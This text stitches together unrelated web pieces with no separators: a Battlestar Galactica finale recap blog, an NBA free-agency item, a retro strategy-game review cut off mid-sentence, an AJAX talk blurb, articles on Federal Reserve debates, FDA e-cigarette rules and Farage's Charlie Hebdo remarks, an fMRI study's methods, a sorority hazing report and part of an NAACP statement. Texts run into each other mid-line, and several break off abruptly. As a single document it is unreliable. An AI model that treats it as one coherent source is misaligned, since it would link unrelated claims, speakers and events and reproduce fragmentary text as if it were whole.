All right, so somehow Cavil gets a hold of Hera, and instead of Bill or someone else putting a bullet in his “brain,” Baltar finally redeems himself. If he’s not on Galactica (the one true, selfless act that Lee was talking about earlier this season), then he’s not there to convince Cavil to give up the girl, and who knows how that confrontation ends. Gaius talks about the visions, refers to them as “angels” and gets Cavil to buy into the whole “let’s break the cycle of violence” plan, providing that the final five give the cylons the key to resurrection. Only the plan goes awry when Tyrol sees Torry’s memory of killing his wife — so he flips out and kills her. Cavil, ever the survivor, says “frak” and offs himself. This doesn’t make any sense to me.
Anyway, now it’s time for Starbuck to take over. Moore did a great job of setting up this scene. From the final four hearing “All Along the Watchtower,” to Hera giving the drawing to Starbuck, to her interaction with her “dad” in the bar, to her working with Anders to try to put the song into some sort of numerical connotation, it was a long, fleshed-out journey. Of course, the fact that she jumped Galactica to a second Earth (which oddly enough, has all the same continents as the original Earth) requires a huge leap of faith. It’s clear now that Moore is pushing the idea of intelligent design, which he (possibly) sees as a compromise between the inaccuracies of the Bible (as they relate to established science) and the finality of atheism. This is confirmed when Bill, Gaius, Coddle and a few others are observing a tribe of prehistoric humans walk by. The fact that humans evolved independently requires some sort of a belief in divine intervention.
At some point, Starbuck/Lee have a flashback to the time that they met, and it turns out that they almost slept together. But the most important part of the flashback was Kara revealing that she isn’t afraid of death. It’s not that she doesn’t know fear, she does, but she’s not afraid of dying, which was yet another clue that she was not human (nor cylon). Whatever she is — some sort of angel that walks the Earth, twice — she is built in such away that she’s not afraid of death, and this lack of fear has allowed her to do amazing things in her time with the fleet. Regarding the other flashbacks, I think we were supposed to see just how close Bill was to not being in charge of Galactica at the time of the attack and what it took for Roslin to convince herself that a move into politics was the right thing for her. I’m not sure why it took sleeping with her former student (though that’s admittedly a bit on the sketchy side, even that late in life), but that’s what it took.
Back to New Earth. Not unlike the finale to the “Lord of the Rings” trilogy, this one had about five or six endings. It’s understandable — the viewers want to know how each major character moves on, and it’s impossible to do that quickly. I think that this is why they decided to do a two-hour combined finale instead of breaking it up into two episodes. It just wouldn’t have worked as well separately.
All right, so the assumption is that the fleet is willing to give up all of their technology and live and breed with the natives. There’s no other way to explain the lack of technology, so I guess I’m willing to buy it. I just have a hard time believing that the fleet, after arguing about every little thing, would be so homogeneous in its position on this.
Back in April of 2008, I wrote the following on the blog entry for this season’s (first) premiere…
Based on what I’ve read, it does appear that the fleet will find some version of Earth this season. They could arrive in our past, our present or our future, or they could arrive to an alternate version of Earth. They could be the first humans to settle on Earth (maybe the two hybrid babies are Adam and Eve – though all the technology would be a problem) or they could arrive to a futuristic Earth that has the ability to fend of the Cylons. A grimmer possibility is that they arrive to find that the human civilization destroyed itself, not unlike the ending of “Planet of the Apes.”
It turns out I was almost right. (Mind you, this doesn’t mean anything — I floated all sorts of theories on this blog so I was bound to have one or two that turned out to be right.) They did find a “Planet of the Apes”-type Earth, but they found it early in the season, which opened up more possibilities for the finale. It was revealed that Tyrol’s son wasn’t really his son, so the Adam and Eve thing was out (which is probably good, since Moore is going with more of an intelligent design explanation) but it did turn out that Hera was Eve…mitochondrial Eve, that is.
So let’s see…
— After killing Torry, Galen is sick of people and wants to live and die alone. In about five years, I picture him sitting in a tent somewhere cold (with a huge, grizzly beard), wishing that he had some interpersonal interaction. Before he leaves, Tigh says that he would have done the same thing to Torry had she killed Ellen. Apparently, Tigh is the only one who is allowed to kill his wife…
— We were treated to a semi-useless flashback of Ellen and Tigh in the strip club where she says that all she wants to do is spend time with him. So now they get to spend a lot of time together. (How’s that going to work if they don’t have any booze?)
— Helo is going to teach Hera how to hunt. No, Athena is. No Helo is. I get it. They’re happy. (At least Helo didn’t die — when he got shot, I thought he might be Moore’s sacrificial lamb.)
— Bill takes off with Laura to show her some wildlife. The way he said goodbye to Lee and Starbuck (after saying, “I don’t have much time left.”), I thought he was going to fly off into the sun. After all, he can’t leave that raptor lying around for future scientists to find, right? So I’m assuming that after he buried Laura, that’s just what he did. (I’m not sure why he kept talking about the cabin after she died though. I think that’s where the title of the last three hours, “Daybreak,” came from.)
And here’s a tip: If someone tells you that they think their “work is done,” don’t look away. They’re just going to disappear. Starbuck is apparently some sort of angel (who can’t see Baltar’s angels) who was sent to Caprica to help guide the fleet to New Earth. Moore didn’t have a whole lot of options with her when he said that there would be no more “surprise cylons” after they revealed the final five. She couldn’t be a cylon and she couldn’t be human, because she found her body on Earth. So she had to be something else. So that’s what she was — something else.
And then there’s Baltar and Caprica Six, who decided to start a farm. Baltar knows about farming because of his dad, which was one of the purposes of his flashback. And this is one of the problems I have with Lee’s intention to break the cycle by saying, “no cities.” People are eventually going to settle down. When they learn how to grow things, they’re going to stay in one place, and that’s how towns are developed. When there are towns, there are eventually going to be cities. And when there are cities, there are eventually going to be killer robots. Or I guess that’s what Moore is saying.
When we jump forward 150,000 years to modern day New York, was anyone really surprised? It was a really cool transition — the camera hovering over Central Park before shooting up to show all the skyscrapers — and that’s when Moore actually made his cameo. He was the guy holding the magazine about mitochondrial Eve that the vision of Caprica Six was reading.
I get the sense that the vision of Six and the vision of Baltar are actually angels that can take any form. In this case, they took the form of Baltar and Six so that they could communicate with the real Baltar and Six. Moore left them in that form for the final scene for continuity’s sake, as it would have been strange to see two new actors in their place. Moore gets a little preachy here with all of the “technology run amok” talk, and the implication is that we’re headed towards destruction if we continue down this path. I’m not sure exactly what path he’s talking about, but given the montage of shots at the end, he’s most likely referring to the work being done in the world of robotics. I’ve heard this story before.
The vision of Caprica Six says that she thinks this time it will be different, saying that something unexpected may come up because “that too is in God’s plan.” This is when Baltar says something odd, and I’m not really sure what it means…
“You know it doesn’t like that name… Silly me. Silly, silly me.”
Okay, so he’s referring to a higher power, one that he knows well enough to know that “it” doesn’t like to be called “God.” I’m assuming the “silly me” comment refers to the fact that humans will have no other name for “it,” though he may mean something else. Thoughts?
Also, who knew that Bob Dylan didn’t originally write “All Along the Watchtower”? I bet that’s news to him!
So that’s it. The end of a great science fiction show (maybe the best ever?) and less importantly, the end of this blog. I hope everyone enjoyed reading my scatterbrained thoughts each week and that this forum allowed fans to enjoy the series a bit more. During the finale, there were two previews — one for “Caprica,” which I fully intend to blog once it starts, and another for “Battlestar Galactica: The Plan,” which is a two-hour event that shows how the cylons developed their plan to attack Caprica. I knew about the former, but not the latter, so needless to say I’m excited to see what Moore comes up with. I just hope that whatever it is, it doesn’t take away from the finality of the finale. (Try saying that ten times fast.)
3/22 Update: Here’s a link to an interview with Ronald D. Moore. He discusses a number of the last minute decisions, but doesn’t shed any light on why the fleet was so willing to give up its technology.Motiejunas had his rights renounced by the Rockets on Thursday, officially making him an unrestricted free agent, Jonathan Feigen of the Houston Chronicle reports.
Less than a week ago, Motiejunas had reportedly agreed to a four-year, $35 million contract with the Rockets, but after the team yet again didn't like the results of his physical, they've now opted to cut ties with him and let him walk. By renouncing his rights, Motiejunas is now an unrestricted free agent and will have the opportunity to sign with anyone. He'l be unable to sign with the Nets due to the previous offer they made to Motiejunas while he was a restricted free agent, but he should field plenty of interest from other frontcourt needy teams, although he'll still have to pass a physical no matter where he signs.The youngest of you won’t remember The Before Times. One of the minor side effects of the millennium bug killing off 90% of the Earth’s population was that not long afterwards, strategy games stratified into a tiny handful of highly formulaic subtypes. There’s a downside to the unquestionably better standards of design we’ve enjoyed in the last decade or so. It’s rare to find a genuinely bad game in the same way that games were bad in the 90s. But I can’t help imagining what other ideas were bounced around before everyone agreed that the wheel was indeed the way forward, and Unk and Thogg would have to resign their posts as Chief and Assistant Thing Hurler To The Village And Sometimes The River.
Take, for example, Fragile Allegiance [Mobygames link]. Its position in game history was odd even on release in 1996 – both a port and a remake and a sequel to the Amiga’s semi-obscure, direly-named, but terrific K240 (itself a sequel to 1991’s Utopia) – and its design still defies the neat categorisation we’re used to. Technically it’s a real-time strategy straddling “city builder” and “4X”, but not quite conforming to any common model.
You’re in space. Specifically, a huge asteroid belt on the fringe of the Federation, hotly contested by each of its loosely, sometimes nominally allied members. Your job, as one of many stinky humans to acquire a franchise from sinister mega-corporation Tetracorp, is to mine as much ore from the belt as possible. You do this by building directly on the asteroids – homes, hospitals and hydroponics for your hapless human hirelings, radiation shields and gravity nullifiers to prevent sickness and random collisions, and power plants to keep them all going. Then you need your mines, and somewhere to store the 12 different ores (two of which require special equipment, but we’ll get to that; in case it’s not obvious yet, Fragile Alliegiance is a complicated game) while waiting for the biannual visit from the Tetracorp transporter, which is your main source of income, and also graces you with any special staff or technology you’ve bought in the interim.
And you’ll need shipyards, to build scout ships who can find and prospect more asteroids, and start the whole process all over again. So, it’s kind of like Sim City in space, right? Well, a bit. But that’s not even half of it. Those other Federation races, see, they want ore too. And humanity, particularly Tetracorp, has a long and bloody history of brutalising aliens and humans alike in its pursuit of profit and power. Tensions can run high. One race is openly hostile, but even the friendliest neighbours will sometimes skirmish over a particularly prized asteroid. So you’ll need fighter craft too, and missile silos, turrets, and perhaps forcefields, and a spacedock to build warships.
Because, you see, Fragile Allegiance is also a wargame. But while open warfare certainly happens, it’s more about limited or even clandestine wars. Officially, you have neither reason nor authority to declare war, so while non-aggression treaties and joint action can be agreed, nobody is ever technically at war, and everybody’s diplomatic status just kind of is what it is. I’m on good terms with the Braccatia but we still open fire on each other’s ships. The Mikotaj desperately want a chain of asteroids on my Eastern border and have sent the fleets at my fledgling colonies there to prove it, but that hasn’t impeded trade, or a brief alliance against the Mauna. Someone is firing missiles at the Rigellians, but I can’t tell who. And then there are the spies. Oh god, the spies.
Aside from simply racing your rivals to nab the best asteroids, or bombing them into rubble (literally, with the right missiles), you can also attack them covertly, using agents to sabotage key facilities, gather information, or unleash bioweapons. And you’ll need spies to protect your own colonies if you can’t get your opponents to agree to a treaty.
Treaties, you see, are the closest thing you have to a formal diplomatic status. There’s no visible “relationship meter” of any kind, but a treaty can ban overt and/or covert action between two empires, for a negotiable duration. And even then, you’re free to break any treaty, if you’re willing to pay the penalty fee you agreed upon. You’re not sealed in some alliance that must be intentionally broken. There’s just you, them, and your word. There’s not “war” and “peace”, there’s just whatever actions everyone is willing to take. You never really know.
The game’s unique approach to diplomacy goes beyond this. You’re not some immortal guiding spirit or all-powerful emperor speaking directly to others. You’re a representative, who can only approach other races via their ambassadors, or by appealing to your own to lodge a formal complaint with the Federation. These are named, fully voiced individuals who’ll introduce themselves and their race at length, speaking of their formal stance on the Federation and their relations with you, of their people’s history and interests, and of their hopes that you can work together, and generally being, well, diplomatic. You can respond in kind, with interactions offering limited dialogue choices like a primitive RPG.
Think about it – when was the last time you spoke to a rival power in a 4X game and the process resembled any kind of interpersonal diplomacy? Most are all function, and boil down to coldly picking options from drop-down menus, utterly |
years ago I found that all the interesting AJAX programs that I wanted to write involved asynchronous communication with the server (or sometimes with a Flash plugin, or sometimes within the client but with a few seconds or minutes delay). Trying to think about and debug these programs made me feel like I was just learning how to program again (or hadn’t yet), and hurt my head. But now I can emerge, sadder but wiser, head fully healed, and with this talk in hand.
I’ll be covering:
Talking REST asynchronously to your server – without dipping into bleeding-edge technologies such as Comet and Bayeux.
Deferred execution and lightweight multithreading without Google Gears.
Messaging between the Flash and the HTML within a page. I’ll put this last so that if you aren’t interested in Flash you don’t have to worry about when to wake up.
This talk is really the flip side of functional javascript and sequentially. Those were non-production experiments to take functional javascript to an extreme. “Practical”, on the other hand, will be about real-world techniques I’ve used to write web sites such as Browsegoods, FanSnap, Style&Share, and the goWebtop Calendar, and that resulted in some of the JavaScript-related libraries here.
The main purpose of this talk is to be useful to practicing developers. But it should also be fun. AJAX lets you do a lot on the web that’s fun to look at and use. It can be fun to program too, and I’d like to get some of that across.
If you’re interested in the type of things I’ve posted here, but found that those zoomed through the material too quickly or that you wanted to see more of a connection to real-world production programming, then this is the talk for you.
The bad news: It’s at 8am. I promise not to think badly of you if you take a nap, and to make loud noises when it’s time for you to go your next talk.
Update: A draft of the talk is here (PDF). It doesn’t include most of the code samples.
Update 2: The final version with screenshots of all the code is here. I’ll publish a runnable version of the examples soon.
Update 3: The runnable examples are here.WASHINGTON (AFP) – Like any good central banker, the Federal Reserve’s Ben Bernanke cut a calm figure Thursday, sketching an endgame for vast crisis lending without hinting at the ideological storm that engulfs him.
From behind a thick wooden desk, Bernanke assured Congress that the Fed would not raise interest rates or withdraw 2.3 trillion dollars it has used to prop-up the economy before the “appropriate time.”
What he did not tell assembled lawmakers and television crews was that economists, Washington policymakers and even his Fed colleagues are in fierce disagreement about when the appropriate time might be.
Experts say the worst economic crisis since the Great Depression has exploded a debate over monetary policy that has long bubbled within the Fed.
“To some degree we are in uncharted territory” said Rob Roy McGregor, an economics professor at the University of North Carolina, Charlotte and an expert on the Fed’s interest-rate setting Federal Open Market Committee.
Within the committee, McGregor said, monetary hawks — who argue for tight controls on money supply to curb inflation — are dismayed by historically low interest rates and the scale of Fed’s balance sheet, which is more than double pre-crisis levels.
Meanwhile monetary doves, facing the greatest economic crisis in a generation, are more willing than normal to run the risk of stoking inflation in the pursuit of job creation.
It is not the first time the Fed’s monetary hawks and doves have clashed, but today’s tough realities may be polarizing the debate.
In recent months, traces of that debate have become public, shattering the Fed’s image as a bastion of pointy-headed economists who pore over endless streams of data before reaching an amiable consensus.
For two straight committee meetings, Thomas Hoenig, president of the Federal Reserve Bank of Kansas City, has voted against his colleagues’ promise to keep interest rates low for an “extended period.”
That is a sure sign of wider discord within the normally guarded Federal Reserve, according to Vincent Reinhart, a former head of the Fed’s Division of Monetary Affairs.
“The first thing to remember is that Fed is a consensus-driven organization,” he said pointing to divisions over how quickly the Fed should move away from crisis mode by raising rates and unwinding the balance sheet.
“This is a philosophical issue: how they exit, and how quickly they want to exit,” he said, “it is fundamentally about how you think inflation is determined.”
According to McGregor, such dissent “is actually quite rare.” Between 1966 and 1997, dissent was recorded in just 7.8 percent of votes.
Some blame the politically-charged nature of the economic debate for the splits, and for threatening the Fed’s independence.
Allan Meltzer, a Fed historian and former economic advisor to presidents John Kennedy and Ronald Reagan, said the votes of open market committee members are often influenced by their proximity to Washington politics.
Of the ten voting members on the open market committee, five are members of the Fed’s Washington-based board of governors, and five are presidents of regional federal banks.
“The (regional) presidents are not as politically responsive,” said Meltzer, “they are out there talking to people, they hear the concerns about inflation.”
In the current economic environment, the governors may be more finely attuned to concerns in Washington about tighter monetary policy and fears that it could choke the economic recovery.
There are concerns that politics may further influence the debate. Obama now has the opportunity to appoint two vacant governors seats and replace the Fed’s vice-chair, who is to retire. All three would serve on the open market committee.
Meltzer sees a difficult balance between the two, sometimes conflicting prongs of the Fed’s mandate: to seek price stability and full employment.
“The Fed has a dual mandate, and they choose to fulfill one part of that mandate at a time.”The 'wild west' of e-cigarettes, where nothing was regulated and the scientific opinion was inconclusive at best, has come to an abrupt end, with the US Food and Drug Administration (FDA) announcing over the weekend that it will now start regulating e-cigarette products, requiring age limits, clearer product labels, and health warnings going forward.
The move, which seemed inevitable to many, given how pervasive vaping has become in the US, will force manufacturers to submit their products for FDA approval, where their ingredients, safety and emissions data, and manufacturing processes will now be scrutinised for the first time since e-cigarettes hit the market.
"The actions being taken today will help the FDA prevent misleading claims by tobacco product manufacturers, evaluate the ingredients of tobacco products and how they are made, as well as communicate their potential risks," the FDA said in a press release.
The FDA said limiting access to minors was of particular importance, with reports showing that e-cigarette use among high school students has risen from 1.5 percent in 2011 to 16 percent in 2015. According to USA Today, federal health officials now estimate that some 3 million middle and high school students are using e-cigarettes.
"Between 2011 and 2015, the percentage of high school students who smoked e-cigarretes has skyrocketed over 900 percent," Health and Human Services Secretary Sylvia Burwell told the press, adding that hookah and cigar use continues to be a problem among teenagers.
The new law, which will see all tobacco and nicotine-containing products regulated under the US Tobacco Control Act, will go into effect in 90 days.
Here are some of the new regulations that now apply to e-cigarettes containing nicotine:
Not allowing products to be sold to persons under the age of 18 years (both in person and online);
Requiring age verification by photo ID;
Not allowing the selling of covered tobacco products in vending machines (unless in an adult-only facility); and
Not allowing the distribution of free samples.
All manufacturers, importers and retailers of the newly regulated tobacco and nicotine products will now be required to:
Register manufacturing establishments and providing product listings to the FDA;
Report ingredients, and harmful and potentially harmful constituents;
Submit for premarket review and authorisation of new tobacco products by the FDA;
Place health warnings on product packages and advertisements; and
No longer sell modified risk tobacco products (including those described as "light", "low", or "mild") unless authorised by the FDA.
You can read the 499-page document here.
"That means nearly every e-cigarette on the market - and every different flavour and nicotine level - would require a separate application for federal approval," Jayne O'Donnell and Laura Ungar report for USA Today. "Each application could cost $1 million or more, says Jeff Stier, an e-cigarette advocate with the National Centre for Public Policy Research and industry officials."
Not surprisingly, the regulations have been met with a whole lot of controversy, and camps on either side are not exactly happy with how the FDA has handled this.
Those who have been calling for tighter restrictions on e-cigerattes for years have criticised the new law for not adequately addressing the use of flavours such as bubblegum, gummy bear, and lemonade, which they say are specifically aimed at young people, Julia Belluz reports for Vox.
They’ve also voiced concern about the fact that manufacturers will be allowed to continue selling potentially dangerous products for the two to three years that it’s expected to take the FDA to assess everything.
On the other side, experts have voiced their concern that regulation could make it harder for smokers to access them as a quit-aid, and could push some manufacturers out of the market altogether.
"Regulators need to watch out for intended consequences of overzealous regulation, such as... making e-cigarettes more expensive and less attractive to smokers; and also avoid conveying a message that e-cigarettes are regulated as strictly [as] or even more strictly than cigarettes because they are as bad," clinical psychologist Peter Hajek from the Queen Mary University of London told Vox.
What e-cigarettes don’t exactly have going for them is the fact that research into their health effects is still very much in its infancy - 10 years after they first hit the market, we’re not much closer to understanding just how harmful or harmless the cocktail of chemicals in e-cigerette liquid actually is, particularly with long-term use.
While heavy regulations will force the issue when it comes to getting a whole lot more scientific data on e-cigarette contents than ever before - a good thing in the long run - let’s hope it doesn’t come at the cost of what’s been the only thing that’s helped many cigarette smokers quit for good.With its assortment of racists, homophobes and all-purpose bigots, Ukip may have raised the shock threshold in British politics, but Nigel Farage's response to the Charlie Hebdo murders is still breathtaking in its cynicism. Rather than offering a simple expression of sympathy for the victims' families, and a defence of free speech, Farage could not resist grandstanding against multiculturalism. He told LBC:
What should have been done is we should have had a controlled immigration policy and made sure we did full checks on everybody who ever came to this country from anywhere – and that applies to everyone else. We in Britain, and I’ve seen some evidence of this in other countries too, have a really rather gross policy of multiculturalism. By that, what I mean is that we’ve encouraged people from other cultures to remain within those cultures and not integrate fully within our communities … I don’t think anyone can pretend there is a quick fix to this. We have, I’m afraid, and mercifully it’s small, but we do have a fifth column within our countries.
In these circumstances, there is little more destructive than his casual equation of multiculturalism with terrorism (the irony being that France is one of the least multicultural countries in Europe), let alone his use of the knowingly toxic "fifth column". As scholars of Islamist extremism point out, jihadists (such as the 7/7 bombers) are often among the most notionally "integrated" citizens.
Fortunately, and unlike on other occasions when Farage has offended basic decency, he has been swiftly condemned by all parties. David Cameron said: "With the appalling events in Paris still so fresh in people’s minds and with people still struggling for their lives who have been injured, I think today is not the day to make political remarks or political arguments. Today is the day to stand four square behind the French people after this appalling outrage and simply to say that we will do everything we can to help them hunt down and find the people who did this.
"The cause of this terrorism is the terrorists themselves. They must be found, they must be confronted, they must be punished."
Nick Clegg said: "I'm dismayed, really, that Nigel Farage immediately thinks, on the back of the bloody murders that we saw on the streets of Paris yesterday, that his first reflex is to seek to make political points.
"If this does come down to two individuals who have perverted the cause of Islam to their own bloody ends, let’s remember the greatest antidote to the perversion of that great world religion, Islam, are law-abiding British Muslims themselves. And to immediately somehow suggest that many, many British Muslims, who I know feel fervently British but also are very proud of their Muslim faith, are somehow part of the problem, rather than part of the solution, I think is firmly grabbing the wrong end of the stick."
Theresa May said: "I think it is irresponsible to talk about a fifth column. We should all be working across society to ensure that we deal with and eradicate extremism wherever it exists."
There are some, on left and right, who write of Farage as a welcome addition to the British political scene, a cheeky chappie taking on the establishment. But on the day that Ofcom has ruled (rightly) that Ukip is now a "major party", his exploitation of yesterday's murders is a reminder of his malign intent.Our second objective was to explore the nature of participants' spontaneous thoughts and to examine whether the individual variability underlying such thoughts was predicted by functional coupling between regions comprising the default network. Since prior studies have established that the MTL and distant cortical regions including the retrosplenial cortex (Rsp), posterior inferior parietal lobule (pIPL), and MPFC become engaged when participants remember their past and imagine their future, we investigated whether the tendency to experience spontaneous episodic thoughts about the past and future predicted functional coupling between the MTL and the default network. A significant relationship would strengthen support for the network's role in certain forms of spontaneous cognition.
Three different hypotheses about the expected results were entertained. If the default network plays a prominent role in external attention in general (i.e., watchfulness for upcoming stimuli; Gilbert et al. 2007 ), the contrast between the external attention conditions and the passive condition should isolate regions within the default network. If the default network plays a specific role in broad external attention, as suggested by a number of prior studies, the contrast between the broad and focal external attention conditions should elicit activity within the default network. If, on the other hand, the default network functions to support internal mentation, activity within the network should track reported measures of spontaneous cognition and should be weakest in the external attention conditions (both broad and focal). Of course an additional possibility is that distinct regions within the default network may enable broad attention and spontaneous cognition, respectively.
The first objective of the present set of experiments was to distinguish between two prominent, but opposing, hypotheses implicating the default network in external attention or spontaneous cognition. The distinct hypotheses have been difficult to disentangle because the two variables often track each other and because of the inherent challenge associated with measuring spontaneous cognition during unconstrained task states. Here we tested the two hypotheses by contrasting fMRI signal changes as an indirect measure of neural activity during fixation blocks that varied with respect to scope of external attention (broad and focal) and frequency of spontaneous thoughts as a measure of internal mentation. During conditions designed to encourage external attention, participants detected brief flickers occurring in either peripheral (broad) or central (focal) locations. In contrast, during a condition designed to encourage spontaneous cognition, participants passively fixated on a crosshair. To ensure that variables were manipulated as expected, an independent group of participants completed an identical paradigm in a mock MRI simulator. For these participants, randomly presented tones were placed throughout the tasks to gauge participants' frequency of spontaneous thoughts.
In all, 199 right-handed young adults participated in the study (22.2 yr, range: 18–35 yr, 97 male; ). Participants were native English speakers recruited from Harvard University and the greater Boston community. Exclusion criteria included a history of psychiatric or neurological illness as well as use of psychoactive medications. Procedures were carried out according to the guidelines put forth by either the Harvard University Committee on the Use of Human Subjects in Research (experiment 1: behavioral) or the Review Board of Partners Healthcare at Massachusetts General Hospital (experiment 1: fMRI and experiment 2).
Task paradigms and questionnaires
Experiment 1 (Overview). To test between the two prominent hypotheses about the function of the default network, three conditions were explored that varied the direction and scope of attention by manipulating expectancies: 1) broad attention, 2) focal attention, and 3) passive fixation. During critical task blocks used for analysis, stimuli were held constant and no responses were made in any condition ( ). Only expectancies and ancillary processes linked to focus of attention and spontaneous cognition differed. Open in a separate window A block-designed paradigm was used where blocks of fixation across the three conditions alternated with baseline blocks consisting of an abstract/concrete semantic classification task on visually presented words. Note that the baseline here is different from most prior neuroimaging studies; the active task block serves as a common baseline for the three critical fixation conditions that provide the test of the hypotheses. Participants completed a total of six task runs, each comprised of six 30-s fixation blocks flanked by seven 20-s blocks of the baseline semantic classification task. Participants performed one condition at a time across two consecutive runs and condition order was counterbalanced across participants. In the broad attention condition, participants were instructed to remain fixated on a central fixation crosshair for the duration of each fixation block and to concurrently press a button whenever a brief flicker was detected somewhere in the periphery of the visual display. A peripheral flicker was marked by a gray X that appeared for ~30 ms at one of three eccentricities (corresponding to visual angles: 1.4, 2.8, 4.2°) and eight angles (0, 45, 90, 135, 180, 225, 270, 315°), yielding 24 possible locations for each flicker. Importantly, unbeknown to the participants, flickers were omitted from four blocks and these blocks lacking flickers were the targets of analysis to compare across conditions. In the focal attention condition, participants were told that flickers would occur directly on top of the central fixation crosshair (marked by a gray X that appeared for 67 ms). Again, flickers were omitted from four unpredictable blocks. In the passive fixation condition, participants were instructed to fixate on the fixation crosshair but not to respond during these blocks because no flickers would occur. To encourage top-down modulation of attention, participants were told that flickers would occur infrequently, were informed of the importance of detecting each flicker as fast as possible, and were discouraged from detecting false positives. Flickers appeared only briefly and were difficult to detect. Four lists that varied in the total number of blocks containing flickers (some lists included flickers in the abbreviated fixation block inserted to allow for intensity stabilization of the blood oxygenation level dependent [BOLD] signal), the total number of flickers per run (three to six), and the onset of the flickers within the run were created and counterbalanced across participants to ensure that the broad and focal conditions did not systematically differ in the onset of flickers. As mentioned earlier, four fixation blocks within each run were matched across conditions with respect to stimuli since flickers did not appear in these blocks. These blocks were the targets of analysis. Thus for the purpose of the fMRI analysis, only expectations and focus of external attention differed between conditions. The same onsets used for fixation blocks extracted from the focal attention runs were also extracted from the passive runs. Blocks in which false-positive key-press responses occurred were removed from analysis in all conditions.
Experiment 1 (Behavioral Study). An underlying assumption of the study was that the passive condition would encourage more spontaneous cognition than the broad or focal external attention conditions. To test this assumption, we conducted a separate behavioral thought sampling study during which an independent group of participants (n = 30, 24.5 yr, range: 18–35 yr, 17 male) completed the same six task runs while spontaneous thoughts were sampled throughout each run. Five tones within different fixation blocks were sounded during each run. Lists were created that varied the placement of the tones within the run and these lists were counterbalanced across subjects to ensure that the broad and focal conditions did not systematically differ in tone placement. Participants were asked to classify their thoughts whenever a tone sounded by stating aloud the word “thought” if they experienced a spontaneous thought unrelated to the task at hand immediately prior to the tone or “nothing” if a task-unrelated thought was not experienced. The specific instructions are listed below: Now, there is one additional component to this experiment. At random times while the fixation crosshair is on the screen, a brief tone will occur that sounds like a ring. Here is an example: [sample tone played]. When you hear the tone, we would like you to classify what you were thinking about immediately before the tone sounded. If your mind was wandering and you were thinking about something unrelated to the task at hand, please say the word “thought” out loud. For example, you may have been thinking about something that you did last night or something you should do on your way home. Or you may have been thinking how tired or hungry you are. If you were thinking about either of these types of things or about something else that was not related to the task at hand, please say the word “thought” out loud. You should not press anything. On the other hand, if your mind was not wandering and you were thinking about the flickers, the fixation crosshair, or nothing at all, you should say the word “nothing” out loud. For example, you may have been wondering where or when the flicker is going to appear or thinking about the features of the fixation crosshair—for example, its color or size. Or you may have not been thinking about anything at all, meaning your mind was completely blank. What all these types of activities have in common is that they are not thoughts that are unrelated to the task. Therefore if you experience something that falls into this category, you should say the word “nothing” out loud. Again, you should not press anything. Flickers will not occur during or immediately after a tone—therefore you should not rush through your response to the tone for the sole purpose of being able to detect flickers afterward. Instead, think carefully about your response before you say it because you will be allowed to state only one of the two options, either “thought” or “nothing.” At the same time, you should remember that your primary task in this experiment is to determine whether words are abstract or concrete and to detect the flickers. An important aspect of the behavioral study was that participants performed the experiment while lying in a mock MRI simulator (Psychology Software Tools, Pittsburg, PA). A mock scanner ensured that a similar environment was present across the two experiments (including simulated scanner noise, earplugs, a button box, and a head coil) while simultaneously allowing us to sample spontaneous thoughts throughout each run. In addition to thought sampling using probes, participants completed a postexperimental questionnaire to assess subjective reports of mind-wandering frequencies for each condition as well as the self-relevancy and goal-oriented nature of such thoughts (see following text). Questions were answered using the scale 1 = never to 7 = always. In addition, participants were encouraged to list examples of any spontaneous thoughts that occurred during the experiment, providing further insight into the nature of their content. The questions were as follows. During the task that involved detecting flickers that occurred in the periphery, to what extent did your mind wander away from thoughts about the task at hand? During the task that involved detecting centrally located flickers, to what extent did your mind wander away from thoughts about the task at hand? During the task where you stared at the fixation crosshair for blocks of 30 s, to what extent did your mind wander away from thoughts about the task at hand? If your mind wandered away from the task at hand during any of the tasks, to what degree did your thoughts revolve around self-relevant concerns (i.e., things that are important to you)? If your mind wandered away from the task at hand during any of the tasks, to what degree were your thoughts directed toward a particular goal (e.g., trying to figure something out; planning something in your future)? Any examples of thoughts that occurred during any of the tasks would be extremely helpful to us. Please use the space below to describe a few of these thoughts. Administering a retrospective thought sampling questionnaire allowed us to assess frequencies of task-unrelated thoughts using a second method. Given the ambiguities in the validity of various thought sampling procedures, we chose to explore multiple convergent techniques. Although the on-line thought sampling method required less reliance on long-term memory compared with the retrospective questionnaire, it is possible that the on-line method caused participants to monitor the nature of their thoughts, bringing more thoughts into explicit awareness and leaving fewer thoughts as unaware (for discussion, see Smallwood and Schooler 2006). In addition, since participants may have experienced more thoughts relating to monitoring during the on-line thought probe study, they may have encountered difficultly determining whether these thoughts were task-unrelated. We reasoned that by introducing a small number of tones per run (n = 5) as well as emphasizing in the task instructions that the thought probe aspect of the study was secondary to the primary flicker/fixation task, participants would dedicate minimal time to monitoring their thoughts. Importantly, the retrospective thought sampling questionnaire was also given to the independent sample of 30 young adults who completed the experimental task in an MRI scanner (see following text).
Experiment 1 (fMRI Study). The fMRI study was conducted in an independent sample of participants matched on age and gender (n = 30, 21.7 yr, range: 18–31 yr, 17 male) using the identical experimental paradigm as outlined earlier, with the exception that the on-line thought probes were not present, nor were participants instructed to monitor the nature of their spontaneous thoughts so as not to interfere with performance on the primary task. As in the behavioral study, surprise postscanning questionnaires were distributed to gather subjective reports of spontaneous cognition for each condition.Sliced bacon is displayed for sale at a market in Washington on April 24, 2014. (Photo: J. Scott Applewhite, AP)
Another day, another Greek organization shut down on a college campus over hazing — but the case of the University of Connecticut's Kappa Kappa Gamma sorority is rather... unique.
Sophomore Hillary Holt is charging that she and others were hazed at the school's Sigma Alpha Epsilon frat house, and that they told to "lay on the floor and sizzle like bacon" and jump up and down and grab their ankles while chugging booze.
What's more, Holt said she was pressed to play beer pong, then blacked out — and woke up at the hospital, the Hartford Courant reports.
NEWSER: Man's heart moves to his right side, and back
Kappa Kappa Gamma has been banned from campus until 2017, though students have until Wednesday to appeal the decision. According to the associate director of student affairs, the sorority "engaged in hazing behaviors including but not limited to forced consumption of alcohol, acting like animals, and sizzling like bacon, which included lying on the floor and wiggling," NBC News reports.
University officials added the "decision to revoke Kappa Kappa Gamma's registration and recognition was not taken lightly, but it was appropriate and imperative in light of the severity of the circumstances." An investigation into SAE is ongoing. It's been called America's "deadliest fraternity."
Newser is a USA TODAY content partner providing general news, commentary and coverage from around the Web. Its content is produced independently of USA TODAY.
Read or Share this story: http://usat.ly/RuyVoyThe NAACP accused President Trump of trying to "kill" the Affordable Care Act on Saturday, saying that his executive order to open up ObamaCare markets to new plans was a "new low."
"President Trump’s executive orders to kill the Affordable Care Act – and make no mistake, this action is intended to do exactly that – are a new low," NAACP interim president and CEO Derrick Johnson said in the statement.
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Johnson went on to accuse the White House of previously defending white supremacists, condoning sexual harassment and lying to the public.
